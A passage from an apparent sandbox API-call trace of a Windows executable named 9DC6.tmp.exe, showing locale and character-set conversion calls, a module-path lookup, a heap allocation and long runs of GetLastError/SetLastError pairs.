¡¢£¤¥¦§¨©ª«¬­®¯°±²³´µ¶·¸¹º»¼½¾¿ÀÁÂÃÄÅÆÇÈÉÊËÌÍÎÏÐÑÒÓÔÕÖ×ØÙÚÛÜÝÞßàáâãäåæçèéêëìíîïðñòóôõö÷øùúûüýþÿĀ", cchSrc=256, lpDestStr=0x0, cchDest=0, lpVersionInformation=0x0, lpReserved=0x0, lParam=0x0 | out: lpDestStr=0x0) returned 256 [0091.227] LCMapStringEx (in: lpLocaleName=0x0, dwMapFlags=0x100, lpSrcStr=" \x01\x02\x03\x04\x05\x06\x07\x08\x09\n\x0b\x0c\r\x0e\x0f\x10\x11\x12\x13\x14\x15\x16\x17\x18\x19\x1a\x1b\x1c\x1d\x1e\x1f !\"#$%&'()*+,-./0123456789:;<=>?@ABCDEFGHIJKLMNOPQRSTUVWXYZ[\\]^_`abcdefghijklmnopqrstuvwxyz{|}~\x7f€\x81‚ƒ„…†‡ˆ‰Š‹Œ\x8dŽ\x8f\x90‘’“”•–—˜™š›œ\x9džŸ ¡¢£¤¥¦§¨©ª«¬­®¯°±²³´µ¶·¸¹º»¼½¾¿ÀÁÂÃÄÅÆÇÈÉÊËÌÍÎÏÐÑÒÓÔÕÖ×ØÙÚÛÜÝÞßàáâãäåæçèéêëìíîïðñòóôõö÷øùúûüýþÿĀ", cchSrc=256, lpDestStr=0x18f4e8, cchDest=256, lpVersionInformation=0x0, lpReserved=0x0, lParam=0x0 | out: lpDestStr=" \x01\x02\x03\x04\x05\x06\x07\x08\x09\n\x0b\x0c\r\x0e\x0f\x10\x11\x12\x13\x14\x15\x16\x17\x18\x19\x1a\x1b\x1c\x1d\x1e\x1f !\"#$%&'()*+,-./0123456789:;<=>?@abcdefghijklmnopqrstuvwxyz[\\]^_`abcdefghijklmnopqrstuvwxyz{|}~\x7f€\x81‚ƒ„…†‡ˆ‰š‹œ\x8dž\x8f\x90‘’“”•–—˜™š›œ\x9džÿ ¡¢£¤¥¦§¨©ª«¬­®¯°±²³´µ¶·¸¹º»¼½¾¿àáâãäåæçèéêëìíîïðñòóôõö×øùúûüýþßàáâãäåæçèéêëìíîïðñòóôõö÷øùúûüýþÿȀ") returned 256 [0091.227] WideCharToMultiByte (in: CodePage=0x4e4, dwFlags=0x0, lpWideCharStr=" \x01\x02\x03\x04\x05\x06\x07\x08\x09\n\x0b\x0c\r\x0e\x0f\x10\x11\x12\x13\x14\x15\x16\x17\x18\x19\x1a\x1b\x1c\x1d\x1e\x1f !\"#$%&'()*+,-./0123456789:;<=>?@abcdefghijklmnopqrstuvwxyz[\\]^_`abcdefghijklmnopqrstuvwxyz{|}~\x7f€\x81‚ƒ„…†‡ˆ‰š‹œ\x8dž\x8f\x90‘’“”•–—˜™š›œ\x9džÿ ¡¢£¤¥¦§¨©ª«¬­®¯°±²³´µ¶·¸¹º»¼½¾¿àáâãäåæçèéêëìíîïðñòóôõö×øùúûüýþßàáâãäåæçèéêëìíîïðñòóôõö÷øùúûüýþÿȀ", cchWideChar=256, lpMultiByteStr=0x18fcb8, cbMultiByte=256, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr=" \x01\x02\x03\x04\x05\x06\x07\x08\x09\n\x0b\x0c\r\x0e\x0f\x10\x11\x12\x13\x14\x15\x16\x17\x18\x19\x1a\x1b\x1c\x1d\x1e\x1f !\"#$%&'()*+,-./0123456789:;<=>?@abcdefghijklmnopqrstuvwxyz[\\]^_`abcdefghijklmnopqrstuvwxyz{|}~\x7f\x80\x81\x82\x83\x84…\x86\x87\x88\x89\x9a\x8b\x9c\x8d\x9e\x8f\x90\x91\x92\x93\x94\x95\x96\x97\x98\x99\x9a\x9b\x9c\x9d\x9eÿ ¡¢£¤¥¦§¨©ª«¬­®¯°±²³´µ¶·¸¹º»¼½¾¿àáâãäåæçèéêëìíîïðñòóôõö×øùúûüýþßàáâãäåæçèéêëìíîïðñòóôõö÷øùúûüýþÿ \x01\x02\x03\x04\x05\x06\x07\x08\x09\n\x0b\x0c\r\x0e\x0f\x10\x11\x12\x13\x14\x15\x16\x17\x18\x19\x1a\x1b\x1c\x1d\x1e\x1f !\"#$%&'()*+,-./0123456789:;<=>?@ABCDEFGHIJKLMNOPQRSTUVWXYZ[\\]^_`abcdefghijklmnopqrstuvwxyz{|}~\x7f\x80\x81\x82\x83\x84…\x86\x87\x88\x89\x8a\x8b\x8c\x8d\x8e\x8f\x90\x91\x92\x93\x94\x95\x96\x97\x98\x99\x9a\x9b\x9c\x9d\x9e\x9f ¡¢£¤¥¦§¨©ª«¬­®¯°±²³´µ¶·¸¹º»¼½¾¿ÀÁÂÃÄÅÆÇÈÉÊËÌÍÎÏÐÑÒÓÔÕÖ×ØÙÚÛÜÝÞßàáâãäåæçèéêëìíîïðñòóôõö÷øùúûüýþÿ\x8eK\x8cªôþ\x18", lpUsedDefaultChar=0x0) returned 256 [0091.227] GetLastError () returned 0x7f [0091.227] SetLastError (dwErrCode=0x7f) [0091.227] MultiByteToWideChar (in: CodePage=0x4e4, dwFlags=0x1, lpMultiByteStr=0x18fdb8, cbMultiByte=256, lpWideCharStr=0x0, cchWideChar=0 | out: lpWideCharStr=0x0) returned 256 [0091.228] MultiByteToWideChar (in: CodePage=0x4e4, dwFlags=0x1, lpMultiByteStr=0x18fdb8, cbMultiByte=256, lpWideCharStr=0x18f708, cchWideChar=256 | out: lpWideCharStr=" \x01\x02\x03\x04\x05\x06\x07\x08\x09\n\x0b\x0c\r\x0e\x0f\x10\x11\x12\x13\x14\x15\x16\x17\x18\x19\x1a\x1b\x1c\x1d\x1e\x1f !\"#$%&'()*+,-./0123456789:;<=>?@ABCDEFGHIJKLMNOPQRSTUVWXYZ[\\]^_`abcdefghijklmnopqrstuvwxyz{|}~\x7f€\x81‚ƒ„…†‡ˆ‰Š‹Œ\x8dŽ\x8f\x90‘’“”•–—˜™š›œ\x9džŸ ¡¢£¤¥¦§¨©ª«¬­®¯°±²³´µ¶·¸¹º»¼½¾¿ÀÁÂÃÄÅÆÇÈÉÊËÌÍÎÏÐÑÒÓÔÕÖ×ØÙÚÛÜÝÞßàáâãäåæçèéêëìíîïðñòóôõö÷øùúûüýþÿĀ") returned 256 [0091.228] LCMapStringEx (in: lpLocaleName=0x0, dwMapFlags=0x200, lpSrcStr=" \x01\x02\x03\x04\x05\x06\x07\x08\x09\n\x0b\x0c\r\x0e\x0f\x10\x11\x12\x13\x14\x15\x16\x17\x18\x19\x1a\x1b\x1c\x1d\x1e\x1f !\"#$%&'()*+,-./0123456789:;<=>?@ABCDEFGHIJKLMNOPQRSTUVWXYZ[\\]^_`abcdefghijklmnopqrstuvwxyz{|}~\x7f€\x81‚ƒ„…†‡ˆ‰Š‹Œ\x8dŽ\x8f\x90‘’“”•–—˜™š›œ\x9džŸ ¡¢£¤¥¦§¨©ª«¬­®¯°±²³´µ¶·¸¹º»¼½¾¿ÀÁÂÃÄÅÆÇÈÉÊËÌÍÎÏÐÑÒÓÔÕÖ×ØÙÚÛÜÝÞßàáâãäåæçèéêëìíîïðñòóôõö÷øùúûüýþÿĀ", cchSrc=256, lpDestStr=0x0, cchDest=0, lpVersionInformation=0x0, lpReserved=0x0, lParam=0x0 | out: lpDestStr=0x0) returned 256 [0091.228] LCMapStringEx (in: lpLocaleName=0x0, dwMapFlags=0x200, lpSrcStr=" \x01\x02\x03\x04\x05\x06\x07\x08\x09\n\x0b\x0c\r\x0e\x0f\x10\x11\x12\x13\x14\x15\x16\x17\x18\x19\x1a\x1b\x1c\x1d\x1e\x1f !\"#$%&'()*+,-./0123456789:;<=>?@ABCDEFGHIJKLMNOPQRSTUVWXYZ[\\]^_`abcdefghijklmnopqrstuvwxyz{|}~\x7f€\x81‚ƒ„…†‡ˆ‰Š‹Œ\x8dŽ\x8f\x90‘’“”•–—˜™š›œ\x9džŸ ¡¢£¤¥¦§¨©ª«¬­®¯°±²³´µ¶·¸¹º»¼½¾¿ÀÁÂÃÄÅÆÇÈÉÊËÌÍÎÏÐÑÒÓÔÕÖ×ØÙÚÛÜÝÞßàáâãäåæçèéêëìíîïðñòóôõö÷øùúûüýþÿĀ", cchSrc=256, lpDestStr=0x18f4f8, cchDest=256, lpVersionInformation=0x0, lpReserved=0x0, lParam=0x0 | out: lpDestStr=" \x01\x02\x03\x04\x05\x06\x07\x08\x09\n\x0b\x0c\r\x0e\x0f\x10\x11\x12\x13\x14\x15\x16\x17\x18\x19\x1a\x1b\x1c\x1d\x1e\x1f !\"#$%&'()*+,-./0123456789:;<=>?@ABCDEFGHIJKLMNOPQRSTUVWXYZ[\\]^_`ABCDEFGHIJKLMNOPQRSTUVWXYZ{|}~\x7f€\x81‚Ƒ„…†‡ˆ‰Š‹Œ\x8dŽ\x8f\x90‘’“”•–—˜™Š›Œ\x9dŽŸ ¡¢£¤¥¦§¨©ª«¬­®¯°±²³´µ¶·¸¹º»¼½¾¿ÀÁÂÃÄÅÆÇÈÉÊËÌÍÎÏÐÑÒÓÔÕÖ×ØÙÚÛÜÝÞßÀÁÂÃÄÅÆÇÈÉÊËÌÍÎÏÐÑÒÓÔÕÖ÷ØÙÚÛÜÝÞŸȀ") returned 256 [0091.228] WideCharToMultiByte (in: CodePage=0x4e4, dwFlags=0x0, lpWideCharStr=" \x01\x02\x03\x04\x05\x06\x07\x08\x09\n\x0b\x0c\r\x0e\x0f\x10\x11\x12\x13\x14\x15\x16\x17\x18\x19\x1a\x1b\x1c\x1d\x1e\x1f !\"#$%&'()*+,-./0123456789:;<=>?@ABCDEFGHIJKLMNOPQRSTUVWXYZ[\\]^_`ABCDEFGHIJKLMNOPQRSTUVWXYZ{|}~\x7f€\x81‚Ƒ„…†‡ˆ‰Š‹Œ\x8dŽ\x8f\x90‘’“”•–—˜™Š›Œ\x9dŽŸ ¡¢£¤¥¦§¨©ª«¬­®¯°±²³´µ¶·¸¹º»¼½¾¿ÀÁÂÃÄÅÆÇÈÉÊËÌÍÎÏÐÑÒÓÔÕÖ×ØÙÚÛÜÝÞßÀÁÂÃÄÅÆÇÈÉÊËÌÍÎÏÐÑÒÓÔÕÖ÷ØÙÚÛÜÝÞŸȀ", cchWideChar=256, lpMultiByteStr=0x18fbb8, cbMultiByte=256, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr=" \x01\x02\x03\x04\x05\x06\x07\x08\x09\n\x0b\x0c\r\x0e\x0f\x10\x11\x12\x13\x14\x15\x16\x17\x18\x19\x1a\x1b\x1c\x1d\x1e\x1f !\"#$%&'()*+,-./0123456789:;<=>?@ABCDEFGHIJKLMNOPQRSTUVWXYZ[\\]^_`ABCDEFGHIJKLMNOPQRSTUVWXYZ{|}~\x7f\x80\x81\x82\x83\x84…\x86\x87\x88\x89\x8a\x8b\x8c\x8d\x8e\x8f\x90\x91\x92\x93\x94\x95\x96\x97\x98\x99\x8a\x9b\x8c\x9d\x8e\x9f ¡¢£¤¥¦§¨©ª«¬­®¯°±²³´µ¶·¸¹º»¼½¾¿ÀÁÂÃÄÅÆÇÈÉÊËÌÍÎÏÐÑÒÓÔÕÖ×ØÙÚÛÜÝÞßÀÁÂÃÄÅÆÇÈÉÊËÌÍÎÏÐÑÒÓÔÕÖ÷ØÙÚÛÜÝÞ\x9f \x01\x02\x03\x04\x05\x06\x07\x08\x09\n\x0b\x0c\r\x0e\x0f\x10\x11\x12\x13\x14\x15\x16\x17\x18\x19\x1a\x1b\x1c\x1d\x1e\x1f !\"#$%&'()*+,-./0123456789:;<=>?@abcdefghijklmnopqrstuvwxyz[\\]^_`abcdefghijklmnopqrstuvwxyz{|}~\x7f\x80\x81\x82\x83\x84…\x86\x87\x88\x89\x9a\x8b\x9c\x8d\x9e\x8f\x90\x91\x92\x93\x94\x95\x96\x97\x98\x99\x9a\x9b\x9c\x9d\x9eÿ ¡¢£¤¥¦§¨©ª«¬­®¯°±²³´µ¶·¸¹º»¼½¾¿àáâãäåæçèéêëìíîïðñòóôõö×øùúûüýþßàáâãäåæçèéêëìíîïðñòóôõö÷øùúûüýþÿ \x01\x02\x03\x04\x05\x06\x07\x08\x09\n\x0b\x0c\r\x0e\x0f\x10\x11\x12\x13\x14\x15\x16\x17\x18\x19\x1a\x1b\x1c\x1d\x1e\x1f !\"#$%&'()*+,-./0123456789:;<=>?@ABCDEFGHIJKLMNOPQRSTUVWXYZ[\\]^_`abcdefghijklmnopqrstuvwxyz{|}~\x7f\x80\x81\x82\x83\x84…\x86\x87\x88\x89\x8a\x8b\x8c\x8d\x8e\x8f\x90\x91\x92\x93\x94\x95\x96\x97\x98\x99\x9a\x9b\x9c\x9d\x9e\x9f ¡¢£¤¥¦§¨©ª«¬­®¯°±²³´µ¶·¸¹º»¼½¾¿ÀÁÂÃÄÅÆÇÈÉÊËÌÍÎÏÐÑÒÓÔÕÖ×ØÙÚÛÜÝÞßàáâãäåæçèéêëìíîïðñòóôõö÷øùúûüýþÿ\x8eK\x8cªôþ\x18", lpUsedDefaultChar=0x0) returned 256 [0091.228] GetModuleFileNameA (in: hModule=0x0, lpFilename=0x46dd30, nSize=0x104 | out: lpFilename="C:\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\Local\\df0a63e6-8bd0-426e-adf4-794844f579bd\\9DC6.tmp.exe" (normalized: "c:\\users\\5p5nrgjn0js halpmcxz\\appdata\\local\\df0a63e6-8bd0-426e-adf4-794844f579bd\\9dc6.tmp.exe")) returned 0x5d [0091.228] GetLastError () returned 0x0 [0091.228] SetLastError (dwErrCode=0x0) [0091.228] GetLastError () returned 0x0 [0091.228] SetLastError (dwErrCode=0x0) [0091.228] GetLastError () returned 0x0 [0091.228] SetLastError (dwErrCode=0x0) [0091.228] GetLastError () returned 0x0 [0091.228] SetLastError (dwErrCode=0x0) [0091.228] GetLastError () returned 0x0 [0091.228] SetLastError (dwErrCode=0x0) [0091.228] GetLastError () returned 0x0 [0091.228] SetLastError (dwErrCode=0x0) [0091.228] GetLastError () returned 0x0 [0091.228] SetLastError (dwErrCode=0x0) [0091.228] GetLastError () returned 0x0 [0091.228] SetLastError (dwErrCode=0x0) [0091.228] GetLastError () returned 0x0 [0091.228] SetLastError (dwErrCode=0x0) [0091.228] GetLastError () returned 0x0 [0091.228] SetLastError (dwErrCode=0x0) [0091.228] GetLastError () returned 0x0 [0091.228] SetLastError (dwErrCode=0x0) [0091.228] GetLastError () returned 0x0 [0091.228] SetLastError (dwErrCode=0x0) [0091.228] GetLastError () returned 0x0 [0091.229] SetLastError (dwErrCode=0x0) [0091.229] GetLastError () returned 0x0 [0091.229] SetLastError (dwErrCode=0x0) [0091.229] GetLastError () returned 0x0 [0091.229] SetLastError (dwErrCode=0x0) [0091.229] GetLastError () returned 0x0 [0091.229] SetLastError (dwErrCode=0x0) [0091.229] GetLastError () returned 0x0 [0091.229] SetLastError (dwErrCode=0x0) [0091.229] GetLastError () returned 0x0 [0091.229] SetLastError (dwErrCode=0x0) [0091.229] GetLastError () returned 0x0 [0091.229] SetLastError (dwErrCode=0x0) [0091.229] GetLastError () returned 0x0 [0091.229] SetLastError (dwErrCode=0x0) [0091.229] GetLastError () returned 0x0 [0091.229] SetLastError (dwErrCode=0x0) [0091.229] GetLastError () returned 0x0 [0091.229] SetLastError (dwErrCode=0x0) [0091.229] GetLastError () returned 0x0 [0091.229] SetLastError (dwErrCode=0x0) [0091.229] GetLastError () returned 0x0 [0091.229] SetLastError (dwErrCode=0x0) [0091.229] GetLastError () returned 0x0 [0091.229] SetLastError (dwErrCode=0x0) [0091.229] GetLastError () returned 0x0 [0091.229] SetLastError (dwErrCode=0x0) [0091.229] GetLastError () returned 0x0 [0091.229] SetLastError (dwErrCode=0x0) [0091.229] GetLastError () returned 0x0 [0091.229] SetLastError (dwErrCode=0x0) [0091.229] GetLastError () returned 0x0 [0091.229] SetLastError (dwErrCode=0x0) [0091.229] GetLastError () returned 0x0 [0091.229] SetLastError (dwErrCode=0x0) [0091.230] GetLastError () returned 0x0 [0091.230] SetLastError (dwErrCode=0x0) [0091.230] GetLastError () returned 0x0 [0091.230] SetLastError (dwErrCode=0x0) [0091.230] GetLastError () returned 0x0 [0091.230] SetLastError (dwErrCode=0x0) [0091.230] GetLastError () returned 0x0 [0091.230] SetLastError (dwErrCode=0x0) [0091.230] GetLastError () returned 0x0 [0091.230] SetLastError (dwErrCode=0x0) [0091.230] GetLastError () returned 0x0 [0091.230] SetLastError (dwErrCode=0x0) [0091.230] GetLastError () returned 0x0 [0091.230] SetLastError (dwErrCode=0x0) [0091.230] GetLastError () returned 0x0 [0091.230] SetLastError (dwErrCode=0x0) [0091.230] GetLastError () returned 0x0 [0091.230] SetLastError (dwErrCode=0x0) [0091.230] GetLastError () returned 0x0 [0091.230] SetLastError (dwErrCode=0x0) [0091.230] GetLastError () returned 0x0 [0091.230] SetLastError (dwErrCode=0x0) [0091.230] GetLastError () returned 0x0 [0091.230] SetLastError (dwErrCode=0x0) [0091.230] GetLastError () returned 0x0 [0091.230] SetLastError (dwErrCode=0x0) [0091.230] GetLastError () returned 0x0 [0091.230] SetLastError (dwErrCode=0x0) [0091.230] GetLastError () returned 0x0 [0091.230] SetLastError (dwErrCode=0x0) [0091.230] GetLastError () returned 0x0 [0091.231] SetLastError (dwErrCode=0x0) [0091.231] GetLastError () returned 0x0 [0091.231] SetLastError (dwErrCode=0x0) [0091.231] GetLastError () returned 0x0 [0091.231] SetLastError (dwErrCode=0x0) [0091.231] GetLastError () returned 0x0 [0091.231] SetLastError (dwErrCode=0x0) [0091.231] GetLastError () returned 0x0 [0091.231] SetLastError (dwErrCode=0x0) [0091.231] GetLastError () returned 0x0 [0091.231] SetLastError (dwErrCode=0x0) [0091.231] GetLastError () returned 0x0 [0091.231] SetLastError (dwErrCode=0x0) [0091.231] GetLastError () returned 0x0 [0091.231] SetLastError (dwErrCode=0x0) [0091.231] GetLastError () returned 0x0 [0091.231] SetLastError (dwErrCode=0x0) [0091.231] GetLastError () returned 0x0 [0091.231] SetLastError (dwErrCode=0x0) [0091.231] GetLastError () returned 0x0 [0091.231] SetLastError (dwErrCode=0x0) [0091.231] GetLastError () returned 0x0 [0091.231] SetLastError (dwErrCode=0x0) [0091.231] GetLastError () returned 0x0 [0091.231] SetLastError (dwErrCode=0x0) [0091.231] GetLastError () returned 0x0 [0091.231] SetLastError (dwErrCode=0x0) [0091.231] GetLastError () returned 0x0 [0091.231] SetLastError (dwErrCode=0x0) [0091.231] GetLastError () returned 0x0 [0091.231] SetLastError (dwErrCode=0x0) [0091.231] GetLastError () returned 0x0 [0091.231] SetLastError (dwErrCode=0x0) [0091.231] GetLastError () returned 0x0 [0091.231] SetLastError (dwErrCode=0x0) [0091.232] GetLastError () returned 0x0 [0091.232] SetLastError (dwErrCode=0x0) [0091.232] GetLastError () returned 0x0 [0091.232] SetLastError (dwErrCode=0x0) [0091.232] GetLastError () returned 0x0 [0091.232] SetLastError (dwErrCode=0x0) [0091.232] GetLastError () returned 0x0 [0091.232] SetLastError (dwErrCode=0x0) [0091.232] GetLastError () returned 0x0 [0091.232] SetLastError (dwErrCode=0x0) [0091.232] GetLastError () returned 0x0 [0091.232] SetLastError (dwErrCode=0x0) [0091.232] GetLastError () returned 0x0 [0091.232] SetLastError (dwErrCode=0x0) [0091.232] GetLastError () returned 0x0 [0091.232] SetLastError (dwErrCode=0x0) [0091.232] GetLastError () returned 0x0 [0091.232] SetLastError (dwErrCode=0x0) [0091.232] GetLastError () returned 0x0 [0091.232] SetLastError (dwErrCode=0x0) [0091.232] GetLastError () returned 0x0 [0091.232] SetLastError (dwErrCode=0x0) [0091.232] GetLastError () returned 0x0 [0091.232] SetLastError (dwErrCode=0x0) [0091.232] GetLastError () returned 0x0 [0091.232] SetLastError (dwErrCode=0x0) [0091.232] GetLastError () returned 0x0 [0091.232] SetLastError (dwErrCode=0x0) [0091.232] GetLastError () returned 0x0 [0091.232] SetLastError (dwErrCode=0x0) [0091.232] GetLastError () returned 0x0 [0091.232] SetLastError (dwErrCode=0x0) [0091.232] GetLastError () returned 0x0 [0091.232] SetLastError (dwErrCode=0x0) [0091.233] GetLastError () returned 0x0 [0091.233] SetLastError (dwErrCode=0x0) [0091.233] GetLastError () returned 0x0 [0091.233] SetLastError (dwErrCode=0x0) [0091.233] GetLastError () returned 0x0 [0091.233] SetLastError (dwErrCode=0x0) [0091.233] GetLastError () returned 0x0 [0091.233] SetLastError (dwErrCode=0x0) [0091.233] GetLastError () returned 0x0 [0091.233] SetLastError (dwErrCode=0x0) [0091.233] GetLastError () returned 0x0 [0091.233] SetLastError (dwErrCode=0x0) [0091.233] GetLastError () returned 0x0 [0091.233] SetLastError (dwErrCode=0x0) [0091.233] GetLastError () returned 0x0 [0091.233] SetLastError (dwErrCode=0x0) [0091.233] GetLastError () returned 0x0 [0091.233] SetLastError (dwErrCode=0x0) [0091.233] GetLastError () returned 0x0 [0091.233] SetLastError (dwErrCode=0x0) [0091.233] GetLastError () returned 0x0 [0091.233] SetLastError (dwErrCode=0x0) [0091.233] GetLastError () returned 0x0 [0091.233] SetLastError (dwErrCode=0x0) [0091.233] GetLastError () returned 0x0 [0091.233] SetLastError (dwErrCode=0x0) [0091.233] GetLastError () returned 0x0 [0091.233] SetLastError (dwErrCode=0x0) [0091.233] GetLastError () returned 0x0 [0091.233] SetLastError (dwErrCode=0x0) [0091.233] GetLastError () returned 0x0 [0091.233] SetLastError (dwErrCode=0x0) [0091.233] GetLastError () returned 0x0 [0091.233] SetLastError (dwErrCode=0x0) [0091.233] GetLastError () returned 0x0 [0091.234] SetLastError (dwErrCode=0x0) [0091.234] GetLastError () returned 0x0 [0091.234] SetLastError (dwErrCode=0x0) [0091.234] GetLastError () returned 0x0 [0091.234] SetLastError (dwErrCode=0x0) [0091.234] GetLastError () returned 0x0 [0091.234] SetLastError (dwErrCode=0x0) [0091.234] GetLastError () returned 0x0 [0091.234] SetLastError (dwErrCode=0x0) [0091.234] GetLastError () returned 0x0 [0091.234] SetLastError (dwErrCode=0x0) [0091.234] GetLastError () returned 0x0 [0091.234] SetLastError (dwErrCode=0x0) [0091.234] GetLastError () returned 0x0 [0091.234] SetLastError (dwErrCode=0x0) [0091.234] RtlAllocateHeap (HeapHandle=0x5010000, Flags=0x0, Size=0x76) returned 0x5023d20 [0091.234] GetLastError () returned 0x0 [0091.234] SetLastError (dwErrCode=0x0) [0091.234] GetLastError () returned 0x0 [0091.234] SetLastError (dwErrCode=0x0) [0091.234] GetLastError () returned 0x0 [0091.234] SetLastError (dwErrCode=0x0) [0091.234] GetLastError () returned 0x0 [0091.234] SetLastError (dwErrCode=0x0) [0091.234] GetLastError () returned 0x0 [0091.234] SetLastError (dwErrCode=0x0) [0091.234] GetLastError () returned 0x0 [0091.234] SetLastError (dwErrCode=0x0) [0091.234] GetLastError () returned 0x0 [0091.234] SetLastError (dwErrCode=0x0) [0091.234] GetLastError () returned 0x0 [0091.234] SetLastError (dwErrCode=0x0) [0091.234] GetLastError () returned 0x0 [0091.234] SetLastError (dwErrCode=0x0) [0091.235] GetLastError () returned 0x0 [0091.235] SetLastError (dwErrCode=0x0) [0091.235] GetLastError () returned 0x0 [0091.235] SetLastError (dwErrCode=0x0) [0091.235] GetLastError () returned 0x0 [0091.235] SetLastError (dwErrCode=0x0) [0091.235] GetLastError () returned 0x0 [0091.235] SetLastError (dwErrCode=0x0) [0091.235] GetLastError () returned 0x0 [0091.235] SetLastError (dwErrCode=0x0) [0091.235] GetLastError () returned 0x0 [0091.235] SetLastError (dwErrCode=0x0) [0091.235] GetLastError () returned 0x0 [0091.235] SetLastError (dwErrCode=0x0) [0091.235] GetLastError () returned 0x0 [0091.235] SetLastError (dwErrCode=0x0) [0091.235] GetLastError () returned 0x0 [0091.235] SetLastError (dwErrCode=0x0) [0091.235] GetLastError () returned 0x0 [0091.235] SetLastError (dwErrCode=0x0) [0091.235] GetLastError () returned 0x0 [0091.235] SetLastError (dwErrCode=0x0) [0091.235] GetLastError () returned 0x0 [0091.235] SetLastError (dwErrCode=0x0) [0091.235] GetLastError () returned 0x0 [0091.235] SetLastError (dwErrCode=0x0) [0091.235] GetLastError () returned 0x0 [0091.235] SetLastError (dwErrCode=0x0) [0091.235] GetLastError () returned 0x0 [0091.235] SetLastError (dwErrCode=0x0) [0091.235] GetLastError () returned 0x0 [0091.236] SetLastError (dwErrCode=0x0) [0091.236] GetLastError () returned 0x0 [0091.236] SetLastError (dwErrCode=0x0) [0091.236] GetLastError () returned 0x0 [0091.236] SetLastError (dwErrCode=0x0) [0091.236] GetLastError () returned 0x0 [0091.236] SetLastError (dwErrCode=0x0) [0091.236] GetLastError () returned 0x0 [0091.236] SetLastError (dwErrCode=0x0) [0091.236] GetLastError () returned 0x0 [0091.236] SetLastError (dwErrCode=0x0) [0091.236] GetLastError () returned 0x0 [0091.236] SetLastError (dwErrCode=0x0) [0091.236] GetLastError () returned 0x0 [0091.236] SetLastError (dwErrCode=0x0) [0091.236] GetLastError () returned 0x0 [0091.236] SetLastError (dwErrCode=0x0) [0091.236] GetLastError () returned 0x0 [0091.236] SetLastError (dwErrCode=0x0) [0091.236] GetLastError () returned 0x0 [0091.236] SetLastError (dwErrCode=0x0) [0091.236] GetLastError () returned 0x0 [0091.236] SetLastError (dwErrCode=0x0) [0091.236] GetLastError () returned 0x0 [0091.236] SetLastError (dwErrCode=0x0) [0091.236] GetLastError () returned 0x0 [0091.236] SetLastError (dwErrCode=0x0) [0091.236] GetLastError () returned 0x0 [0091.236] SetLastError (dwErrCode=0x0) [0091.236] GetLastError () returned 0x0 [0091.236] SetLastError (dwErrCode=0x0) [0091.236] GetLastError () returned 0x0 [0091.236] SetLastError (dwErrCode=0x0) [0091.236] GetLastError () returned 0x0 [0091.237] SetLastError (dwErrCode=0x0) [0091.237] GetLastError () returned 0x0 [0091.237] SetLastError (dwErrCode=0x0) [0091.237] GetLastError () returned 0x0 [0091.237] SetLastError (dwErrCode=0x0) [0091.237] GetLastError () returned 0x0 [0091.237] SetLastError (dwErrCode=0x0) [0091.237] GetLastError () returned 0x0 [0091.237] SetLastError (dwErrCode=0x0) [0091.237] GetLastError () returned 0x0 [0091.237] SetLastError (dwErrCode=0x0) [0091.237] GetLastError () returned 0x0 [0091.237] SetLastError (dwErrCode=0x0) [0091.237] GetLastError () returned 0x0 [0091.237] SetLastError (dwErrCode=0x0) [0091.237] GetLastError () returned 0x0 [0091.237] SetLastError (dwErrCode=0x0) [0091.237] GetLastError () returned 0x0 [0091.237] SetLastError (dwErrCode=0x0) [0091.237] GetLastError () returned 0x0 [0091.237] SetLastError (dwErrCode=0x0) [0091.237] GetLastError () returned 0x0 [0091.237] SetLastError (dwErrCode=0x0) [0091.237] GetLastError () returned 0x0 [0091.237] SetLastError (dwErrCode=0x0) [0091.237] GetLastError () returned 0x0 [0091.237] SetLastError (dwErrCode=0x0) [0091.237] GetLastError () returned 0x0 [0091.237] SetLastError (dwErrCode=0x0) [0091.237] GetLastError () returned 0x0 [0091.237] SetLastError (dwErrCode=0x0) [0091.237] GetLastError () returned 0x0 [0091.238] SetLastError (dwErrCode=0x0) [0091.238] GetLastError () returned 0x0 [0091.238] SetLastError (dwErrCode=0x0) [0091.238] GetLastError () returned 0x0 [0091.238] SetLastError (dwErrCode=0x0) [0091.238] GetLastError () returned 0x0 [0091.238] SetLastError (dwErrCode=0x0) [0091.238] GetLastError () returned 0x0 [0091.238] SetLastError (dwErrCode=0x0) [0091.238] GetLastError () returned 0x0 [0091.238] SetLastError (dwErrCode=0x0) [0091.238] GetLastError () returned 0x0 [0091.238] SetLastError (dwErrCode=0x0) [0091.238] GetLastError () returned 0x0 [0091.238] SetLastError (dwErrCode=0x0) [0091.238] GetLastError () returned 0x0 [0091.238] SetLastError (dwErrCode=0x0) [0091.238] GetLastError () returned 0x0 [0091.238] SetLastError (dwErrCode=0x0) [0091.238] GetLastError () returned 0x0 [0091.238] SetLastError (dwErrCode=0x0) [0091.238] GetLastError () returned 0x0 [0091.238] SetLastError (dwErrCode=0x0) [0091.238] GetLastError () returned 0x0 [0091.238] SetLastError (dwErrCode=0x0) [0091.238] GetLastError () returned 0x0 [0091.238] SetLastError (dwErrCode=0x0) [0091.238] GetLastError () returned 0x0 [0091.238] SetLastError (dwErrCode=0x0) [0091.238] GetLastError () returned 0x0 [0091.238] SetLastError (dwErrCode=0x0) [0091.238] GetLastError () returned 0x0 [0091.238] SetLastError (dwErrCode=0x0) [0091.238] GetLastError () returned 0x0 [0091.239] SetLastError (dwErrCode=0x0) [0091.239] GetLastError () returned 0x0 [0091.239] SetLastError (dwErrCode=0x0) [0091.239] GetLastError () returned 0x0 [0091.239] SetLastError (dwErrCode=0x0) [0091.239] GetLastError () returned 0x0 [0091.239] SetLastError (dwErrCode=0x0) [0091.239] GetLastError () returned 0x0 [0091.239] SetLastError (dwErrCode=0x0) [0091.239] GetLastError () returned 0x0 [0091.239] SetLastError (dwErrCode=0x0) [0091.239] GetLastError () returned 0x0 [0091.239] SetLastError (dwErrCode=0x0) [0091.239] GetLastError () returned 0x0 [0091.239] SetLastError (dwErrCode=0x0) [0091.239] GetLastError () returned 0x0 [0091.239] SetLastError (dwErrCode=0x0) [0091.239] GetLastError () returned 0x0 [0091.239] SetLastError (dwErrCode=0x0) [0091.239] GetLastError () returned 0x0 [0091.239] SetLastError (dwErrCode=0x0) [0091.239] GetLastError () returned 0x0 [0091.239] SetLastError (dwErrCode=0x0) [0091.239] GetLastError () returned 0x0 [0091.239] SetLastError (dwErrCode=0x0) [0091.239] GetLastError () returned 0x0 [0091.239] SetLastError (dwErrCode=0x0) [0091.239] GetLastError () returned 0x0 [0091.239] SetLastError (dwErrCode=0x0) [0091.239] GetLastError () returned 0x0 